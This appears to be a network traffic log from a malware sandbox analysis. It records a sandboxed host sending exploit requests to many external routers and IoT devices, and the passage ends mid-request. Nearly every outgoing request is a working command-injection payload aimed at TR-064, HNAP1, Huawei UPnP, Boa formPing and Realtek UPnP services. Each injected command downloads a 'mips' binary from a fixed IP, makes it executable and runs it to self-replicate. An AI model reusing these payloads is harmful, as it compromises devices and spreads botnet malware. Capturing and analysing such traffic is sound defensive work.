3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:43.913953066 CEST	432	IN	HTTP/1.0 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:13 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Content-encoding: gzip Connection: close WWW-Authenticate: Basic realm="WF2780" user" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 48 4e 41 50 31 2f 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /HNAP1/ from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1200	192.168.2.13	57532	72.174.122.72	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.711558104 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1201	192.168.2.13	60632	183.124.236.206	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.789495945 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.098912001 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:44 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1202	192.168.2.13	42980	154.240.16.220	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.834108114 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1203	192.168.2.13	50358	187.26.205.104	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.901036978 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:44.864391088 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Apr 15, 2024 08:53:46.784373045 CEST	773	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1204	192.168.2.13	57544	72.174.122.72	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:43.933381081 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1205	192.168.2.13	60644	183.124.236.206	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.078680038 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.374751091 CEST	97	IN	HTTP/1.1 401 Unauthorized Date: Mon, 15 Apr 2024 06:53:44 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1206	192.168.2.13	44394	172.65.157.181	37215

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.089294910 CEST	817	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 448 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 20 2d 6c 20 2f 74 6d 70 2f 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 68 75 61 77 65 69 2e 73 65 6c 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 213.232.235.166 -l /tmp/a -r /mips; /bin/busybox chmod 777 /tmp/a; /tmp/a huawei.selrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1207	192.168.2.13	42992	154.240.16.220	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.166294098 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1208	192.168.2.13	37034	186.225.195.139	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.236500978 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:44.573297024 CEST	190	IN	HTTP/1.1 404 Not Found Date: MON APR 15 03:53:44 2024 Server: cwmp server Connection: close Content-Length: 14 Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
1209	192.168.2.13	47614	178.21.252.103	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.247565031 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World
Apr 15, 2024 08:53:45.248380899 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1210	192.168.2.13	55684	178.131.68.15	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.348242044 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1211	192.168.2.13	42278	210.128.101.201	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:44.509032965 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a 